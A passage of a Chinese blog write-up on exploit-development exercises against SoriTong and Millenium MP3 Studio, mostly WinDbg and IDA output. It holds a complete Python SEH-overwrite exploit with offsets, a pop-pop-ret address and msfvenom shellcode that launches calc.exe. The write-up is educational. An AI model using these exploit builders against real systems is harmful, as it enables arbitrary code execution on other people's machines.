<span class="p">}</span>
</code></pre></div></div>
<p>首先是读取UI.txt中的内容至堆上,然后在第二个while循环中将堆上的文件内容每次一字节地存储至固定的栈上,造成栈溢出,向下覆盖了SEH Handler,最后把栈空间打满导致异常。</p>
<p>现在偏移也有了,直接使用msfpescan或ROPgadget在Player.DLL中寻找<code class="language-plaintext highlighter-rouge">pop pop ret</code>的地址:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> lm m Player
start end module name
02b40000 02bd4000 Player C (export symbols) C:\Program Files\SoriTong\Player.DLL
0:000> s 02b40000 02bd4000 5f 5e c3
02b4e0d2 5f 5e c3 8b 47 78 85 c0-75 05 33 c0 5f 5e c3 8b _^..Gx..u.3._^..
02b4e0de 5f 5e c3 8b 07 8b cf ff-10 8b f0 85 f6 7c 07 8b _^...........|..
02b4e0f6 5f 5e c3 cc cc cc cc cc-cc cc 53 56 57 8b f1 55 _^........SVW..U
02b506fb 5f 5e c3 cc cc 8b 44 24-08 8b 54 24 04 50 8b 49 _^....D$..T$.P.I
02b50cab 5f 5e c3 cc cc 41 e8 6a-fe ff ff a8 01 74 05 d1 _^...A.j.....t..
......
0:000> u 02b4e0d2 L3
Player+0xe0d2:
02b4e0d2 5f pop edi
02b4e0d3 5e pop esi
02b4e0d4 c3 ret
</code></pre></div></div>
<p>有了偏移和ppt的地址还需要调试一下,看看在异常处理过程中是否会对shellcode部分产生破坏,同时也可以验证一下如果只是单纯覆盖过返回地址乃至SEH Handler,而不把栈空间打满,在最后函数返回的时候会不会触发异常进而执行我们覆盖的异常处理函数,生成的UI.txt如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">584</span>
<span class="n">next_SEH</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xcc</span><span class="s">"</span> <span class="o">*</span> <span class="mi">4</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xd2\xe0\xb4\x02</span><span class="s">"</span> <span class="c1"># 02b4e0d2"
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">next_SEH</span> <span class="o">+</span> <span class="n">handler</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"UI.txt"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>Windbg中打开恢复执行后,发现程序并不会产生异常,甚至在<code class="language-plaintext highlighter-rouge">sub_422D44</code>函数的返回地址<code class="language-plaintext highlighter-rouge">00423142</code>处下断点也没能断下来,说明还是得在shellcode后面加上另一部分的junk,把栈打满后产生异常才能劫持eip。随即就可以断下来了,而且并没有对shellcode部分产生破坏:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(d58.48c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000042 edx=00000042 esi=00205504 edi=0012fd2c
eip=00422e33 esp=0012d9dc ebp=0012fd00 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
0:000> g
(d58.48c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=02b4e0d2 edx=77f071cd esi=0012d580 edi=77f071b9
eip=0012fd2c esp=0012d4a4 ebp=0012d4b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012fd2c cc int 3
0:000> d eip
0012fd2c cc cc cc cc d2 e0 b4 02-42 42 42 42 42 42 42 42 ........BBBBBBBB
0012fd3c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012fd4c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012fd5c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012fd6c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012fd7c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012fd8c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012fd9c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
</code></pre></div></div>
<p>剩下的就是短跳加shellcode了,但需要注意的是在我们逆向清楚漏洞原理时,应该察觉到影响while循环的字符<code class="language-plaintext highlighter-rouge">\x00\x09\x0a\x0d</code>都是坏字符,在生成shellcode时应规避掉:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">584</span>
<span class="n">next_SEH</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xeb\x06\x90\x90</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xd2\xe0\xb4\x02</span><span class="s">"</span> <span class="c1"># 02b4e0d2 pop pop ret
</span><span class="n">junk</span> <span class="o">=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="mi">1000</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x27\x2f\x43\x2f\x99\x4a\x27\xfd\x93\x49\x2f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x99\xf5\xfc\xd9\xe8\xd9\x74\x24\xf4\x5a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc9\xbb\x6f\xde\x10\xce\xb1\x31\x83\xc2\x04\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x14\x03\x5a\x7b\x3c\xe5\x32\x6b\x42\x06\xcb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x6b\x23\x8e\x2e\x5a\x63\xf4\x3b\xcc\x53\x7e\x69</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe0\x18\xd2\x9a\x73\x6c\xfb\xad\x34\xdb\xdd\x80</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc5\x70\x1d\x82\x45\x8b\x72\x64\x74\x44\x87\x65</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xb1\xb9\x6a\x37\x6a\xb5\xd9\xa8\x1f\x83\xe1\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x53\x05\x62\xb7\x23\x24\x43\x66\x38\x7f\x43\x88</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xed\x0b\xca\x92\xf2\x36\x84\x29\xc0\xcd\x17\xf8</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x19\x2d\xbb\xc5\x96\xdc\xc5\x02\x10\x3f\xb0\x7a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x63\xc2\xc3\xb8\x1e\x18\x41\x5b\xb8\xeb\xf1\x87</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x3f\x67\x43\x35\xf4\xe3\x0b\x59\x0b\x27\x20</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x65\x80\xc6\xe7\xec\xd2\xec\x23\xb5\x81\x8d\x72</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x13\x67\xb1\x65\xfc\xd8\x17\xed\x10\x0c\x2a\xac</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7e\xd3\xb8\xca\xcc\xd3\xc2\xd4\x60\xbc\xf3\x5f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xef\xbb\x0b\x8a\x54\x33\x46\x97\xfc\xdc\x0f\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xbd\x80\xaf\xbb\x81\xbc\x33\x4e\x79\x3b\x2b\x3b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x7c\x07\xeb\xd7\x0c\x18\x9e\xd7\xa3\x19\x8b\xbb</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x22\x8a\x57\x12\xc1\x2a\xfd\x6a</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">next_SEH</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">junk</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"UI.txt"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>最后要注意一点是,因为ppt的地址是硬编码player.dll中的地址,而player.dll的ImageBase为0x10000000,很容易产生rebase,会导致exploit不是太稳定。也考虑过直接将SEH Handler的地址覆盖为堆上接收文件内容的地址,但其堆的地址存在<code class="language-plaintext highlighter-rouge">\x00</code>字节会跳出while循环,进而不会产生异常,也就无法利用了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Breakpoint 0 hit
eax=00714fe8 ebx=00000000 ecx=0dced752 edx=00000000 esi=0050db8c edi=0012fd2c
eip=00422d7b esp=0012d9dc ebp=0012fd00 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
SoriTong!TmC13_5+0x3deb:
00422d7b 8945fc mov dword ptr [ebp-4],eax ss:0023:0012fcfc=0050e4b8
0:000> ub 00422d7b
SoriTong!TmC13_5+0x3dd1:
00422d61 56 push esi
00422d62 837d0c00 cmp dword ptr [ebp+0Ch],0
00422d66 7507 jne SoriTong!TmC13_5+0x3ddf (00422d6f)
00422d68 33c0 xor eax,eax
00422d6a e9ce030000 jmp SoriTong!TmC13_5+0x41ad (0042313d)
00422d6f 6800800000 push 8000h
00422d74 6a40 push 40h
00422d76 e8018f0700 call SoriTong!SystemTDateTimeDecodeTime$xqqrpust1t1t1+0x1a8 (0049bc7c)
</code></pre></div></div>
<h2>example B</h2>
<p>Part3b中利用的Millenium MP3 Studio中的溢出漏洞,通过超长的poc文件引发程序异常,可以很常规地走完SEH的利用流程。但原文在最后留下了一个小练习,利用直接覆盖eip的方法来完成利用,challenge accepted。</p>
<p>能够覆盖SEH Handler,在引发异常后利用,从本质上来说还是一种溢出漏洞,所以肯定会覆盖在栈上保存的返回地址。首先可以减少poc中payload的长度,期望在调试器中接收到的第一个异常是eip指向了非法的内存地址,借此回溯栈帧尝试逆推至漏洞点。</p>
<p>使用二分法依次减少payload长度:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"http://"</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"pattern.txt"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">pattern</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">pattern</span><span class="p">[:</span><span class="mi">2000</span><span class="p">]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.mpf"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>调试过程中发现,不断减少payload乃至100的长度,SEH Handler没有被覆盖,但总是会出现同样的一个异常:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(994.fec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=014512f0 ecx=1003a918 edx=00000007 esi=014512f0 edi=00000000
eip=1000e9be esp=0461ff80 ebp=0461ff94 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\mp3-millennium\xaudio.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\mp3-millennium\xaudio.dll -
xaudio!xaudio_get_api_version+0x40ee:
1000e9be 8b470c mov eax,dword ptr [edi+0Ch] ds:0023:0000000c=????????
0:006> !exchain
0461ffc4: ntdll!_except_handler4+0 (77ede0ed)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
func: ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
</code></pre></div></div>
<p>有必要在IDA中深究一下原因了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:1000E9AF
.text:1000E9AF loc_1000E9AF:
.text:1000E9AF push edi
.text:1000E9B0 push esi ; name
.text:1000E9B1 call gethostbyname
.text:1000E9B6 push esi ; void *
.text:1000E9B7 mov edi, eax
.text:1000E9B9 call _free
.text:1000E9BE mov eax, [edi+0Ch]
</code></pre></div></div>
<p>eax为0引发的异常,也就是gethostbyname函数没用得到正确的结果,造成一个空指针引用。有经验的同学可以推断出可能是poc中的<code class="language-plaintext highlighter-rouge">http://</code>字段没有hostname导致的,在我将padding的内容替换成<code class="language-plaintext highlighter-rouge">http://www.baidu.com/index.php# </code>后,期望的异常就发生了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(888.a2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42366842 ebx=013f0ddc ecx=00000000 edx=0344fce1 esi=013f0a18 edi=04481860
eip=42326842 esp=0344f8f8 ebp=002bc760 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
42326842 ?? ???
0:002> db esp-10
0344f8e8 42 67 38 42 67 39 42 68-30 42 68 31 42 68 32 42 Bg8Bg9Bh0Bh1Bh2B
0344f8f8 68 33 42 68 34 42 68 35-42 68 36 42 68 37 42 68 h3Bh4Bh5Bh6Bh7Bh
0344f908 38 42 68 39 42 69 30 42-69 31 42 69 32 42 69 33 8Bh9Bi0Bi1Bi2Bi3
0344f918 42 69 34 42 69 35 42 69-36 42 69 37 42 69 38 42 Bi4Bi5Bi6Bi7Bi8B
0344f928 69 39 42 6a 30 42 6a 31-42 6a 32 42 6a 33 42 6a i9Bj0Bj1Bj2Bj3Bj
0344f938 34 42 6a 35 42 6a 36 42-6a 37 42 6a 38 42 6a 39 4Bj5Bj6Bj7Bj8Bj9
0344f948 42 6b 30 42 6b 31 42 6b-32 42 6b 33 42 6b 34 42 Bk0Bk1Bk2Bk3Bk4B
0344f958 6b 35 42 6b 36 42 6b 37-42 6b 38 42 6b 39 42 6c k5Bk6Bk7Bk8Bk9Bl
</code></pre></div></div>
<p>进一步计算得到偏移为996。老方法对保存返回地址处的栈地址<code class="language-plaintext highlighter-rouge">0344f8f84</code>下硬件断点,几经调试发现这个栈地址有时候会加上一个偏移,有时候会断不下来,有个小技巧是先查看对应线程部分的栈地址范围再下断点。随即可知在<code class="language-plaintext highlighter-rouge">10017c75</code>处是漏洞触发的最深点,IDA中查看对应函数的功能为写入1个字节:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(46c.c94): Break instruction exception - code 80000003 (first chance)
eax=7ffab000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0461ff5c ebp=0461ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:016> !address -f:stack
Failed to map Heaps (error 80004005)
BaseAddr EndAddr+1 RgnSize Type State Protect Usage
-------------------------------------------------------------------------------------------
30000 129000 f9000 MEM_PRIVATE MEM_RESERVE Stack [46c.ac0; ~0]
129000 12a000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.ac0; ~0]
12a000 130000 6000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.ac0; ~0]
2b40000 2c3a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.7a8; ~1]
2c3a000 2c3c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.7a8; ~1]
2c3c000 2c40000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.7a8; ~1]
2c40000 2d3a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.988; ~2]
2d3a000 2d3c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.988; ~2]
2d3c000 2d40000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.988; ~2]
2d40000 2e3a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.c74; ~3]
2e3a000 2e3c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.c74; ~3]
2e3c000 2e40000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.c74; ~3]
2e40000 2f3a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.8c8; ~4]
2f3a000 2f3c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.8c8; ~4]
2f3c000 2f40000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.8c8; ~4]
2f40000 303a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.8e4; ~5]
303a000 303c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.8e4; ~5]
303c000 3040000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.8e4; ~5]
3450000 354a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.d44; ~6]
354a000 354c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.d44; ~6]
354c000 3550000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.d44; ~6]
3550000 364a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.454; ~7]
364a000 364c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.454; ~7]
364c000 3650000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.454; ~7]
3650000 374a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.a0c; ~8]
374a000 374c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.a0c; ~8]
374c000 3750000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.a0c; ~8]
3750000 384a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.28c; ~9]
384a000 384c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.28c; ~9]
384c000 3850000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.28c; ~9]
3850000 394a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.778; ~10]
394a000 394c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.778; ~10]
394c000 3950000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.778; ~10]
3950000 3a4a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.890; ~11]
3a4a000 3a4c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.890; ~11]
3a4c000 3a50000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.890; ~11]
3a50000 3b4a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.9e0; ~12]
3b4a000 3b4c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.9e0; ~12]
3b4c000 3b50000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.9e0; ~12]
3f20000 401a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.90; ~13]
401a000 401c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.90; ~13]
401c000 4020000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.90; ~13]
4020000 411a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.610; ~14]
411a000 411c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.610; ~14]
411c000 4120000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.610; ~14]
4320000 441a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.f88; ~15]
441a000 441c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.f88; ~15]
441c000 4420000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.f88; ~15]
4520000 461a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [46c.c94; ~16]
461a000 461c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [46c.c94; ~16]
461c000 4620000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [46c.c94; ~16]
0:016> ba w1 0354f8f4
0:016> bl
0 e 0354f8f4 w 1 0001 (0001) 0:****
0:016> g
Breakpoint 0 hit
eax=0354f9dc ebx=00000000 ecx=0000007f edx=0000007f esi=04940840 edi=014d0000
eip=77f15f71 esp=0354f8f4 ebp=0354f914 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200212
ntdll!RtlpCoalesceFreeBlocks+0x9:
77f15f71 8b5d0c mov ebx,dword ptr [ebp+0Ch] ss:0023:0354f920=04940840
0:006> g
Breakpoint 0 hit
eax=10008160 ebx=014e0d6c ecx=0354f960 edx=0354ff04 esi=014e09a8 edi=014e0dee
eip=10008160 esp=0354f8f4 ebp=014e0dcc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
*** WARNING: Unable to verify checksum for C:\mp3-millennium\xaudio.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\mp3-millennium\xaudio.dll -
xaudio!memory_input_module_register+0x5e0:
10008160 81ec00040000 sub esp,400h
0:006> db 0354f8f4 L10
0354f8f4 70 ec 00 10 04 ff 54 03-00 00 00 00 00 00 00 00 p.....T.........
0:006> g
Breakpoint 0 hit
eax=00000000 ebx=014e0d6c ecx=00000050 edx=014e0de0 esi=0354f8e8 edi=014e0de0
eip=1000e83b esp=0354f8b0 ebp=014e0dcc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
xaudio!xaudio_get_api_version+0x3f6b:
1000e83b 66c7060200 mov word ptr [esi],2 ds:0023:0354f8e8=013d
0:006> db 0354f8f4 L10
0354f8f4 00 00 00 00 c4 ec 00 10-88 0d 4e 01 e0 0d 4e 01 ..........N...N.
0:006> g
ModLoad: 40aa0000 40ab0000 C:\Windows\system32\NLAapi.dll
ModLoad: 01900000 01910000 C:\Windows\system32\napinsp.dll
ModLoad: 409a0000 409b2000 C:\Windows\system32\pnrpnsp.dll
ModLoad: 6c880000 6c8bc000 C:\Windows\System32\mswsock.dll
ModLoad: 6dc00000 6dc44000 C:\Windows\system32\DNSAPI.dll
ModLoad: 3fd80000 3fd88000 C:\Windows\System32\winrnr.dll
ModLoad: 40c90000 40cac000 C:\Windows\system32\IPHLPAPI.DLL
ModLoad: 3fd90000 3fd97000 C:\Windows\system32\WINNSI.DLL
ModLoad: 6ca80000 6cab8000 C:\Windows\System32\fwpuclnt.dll
ModLoad: 40040000 40046000 C:\Windows\system32\rasadhlp.dll
ModLoad: 3fd20000 3fd25000 C:\Windows\System32\wshtcpip.dll
Breakpoint 0 hit
eax=10008160 ebx=014e0d6c ecx=0354ff04 edx=0354f960 esi=014e09a8 edi=00000000
eip=10008160 esp=0354f8f4 ebp=014e0dcc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
xaudio!memory_input_module_register+0x5e0:
10008160 81ec00040000 sub esp,400h
0:006> db 0354f8f4 L10
0354f8f4 24 ed 00 10 04 ff 54 03-00 00 00 00 00 00 00 00 $.....T.........
0:006> g
Breakpoint 0 hit
eax=00000000 ebx=014e0d6c ecx=0000086f edx=77f070b4 esi=014e09a8 edi=04941830
eip=10014ee1 esp=0354f8f4 ebp=014e0dcc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
xaudio!xaudio_get_api_version+0xa611:
10014ee1 8b742408 mov esi,dword ptr [esp+8] ss:0023:0354f8fc=0000086f
0:006> db 0354f8f4 L10
0354f8f4 a8 09 4e 01 d0 4e 01 10-6f 08 00 00 00 00 00 00 ..N..N..o.......
0:006> g
Breakpoint 0 hit
eax=10008160 ebx=014e0d6c ecx=014dbe18 edx=0354ff04 esi=014e09a8 edi=04941830
eip=10008160 esp=0354f8f4 ebp=014dc600 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
xaudio!memory_input_module_register+0x5e0:
10008160 81ec00040000 sub esp,400h
0:006> db 0354f8f4 L10
0354f8f4 83 ed 00 10 04 ff 54 03-00 00 00 00 01 00 00 00 ......T.........
0:006> g
Breakpoint 0 hit
eax=00000041 ebx=0354f4b8 ecx=0354f4b8 edx=0354f8f4 esi=014dc208 edi=0354f264
eip=10017c75 esp=0354f214 ebp=000003eb iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
xaudio!xaudio_get_api_version+0xd3a5:
10017c75 8b11 mov edx,dword ptr [ecx] ds:0023:0354f4b8=0354f8f4
0:006> db 0354f8f4 L10
0354f8f4 41 ed 00 10 04 ff 54 03-00 00 00 00 01 00 00 00 A.....T.........
0:006> g
(46c.d44): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=014e0d6c ecx=00000000 edx=0354fce1 esi=014e09a8 edi=04941830
eip=41414141 esp=0354f8f8 ebp=014dc600 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
41414141 ?? ???
</code></pre></div></div>
<p>其实事后想想,漏洞函数可能是因为调用了strcpy、memcpy、strcat等危险函数造成溢出覆盖了漏洞函数的返回地址。但我在下的硬件断点触发的时候,应该处于危险函数的最深处,而栈帧是向上低地址处增长的,所以在硬件断点触发处查看栈帧回溯还是有一部分可靠的。所以就想在<code class="language-plaintext highlighter-rouge">10017c75</code>处看看栈帧回溯争取找到漏洞函数,如果在该处下断点,调试过程中发现触发断点的地方太多了,还是老路子硬件断点过去:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:006> g
Breakpoint 0 hit
eax=00000041 ebx=0354f4b8 ecx=0354f4b8 edx=0354f8f4 esi=001ec208 edi=0354f264
eip=10017c75 esp=0354f214 ebp=000003eb iopl=0 nv up ei pl nz na po nc
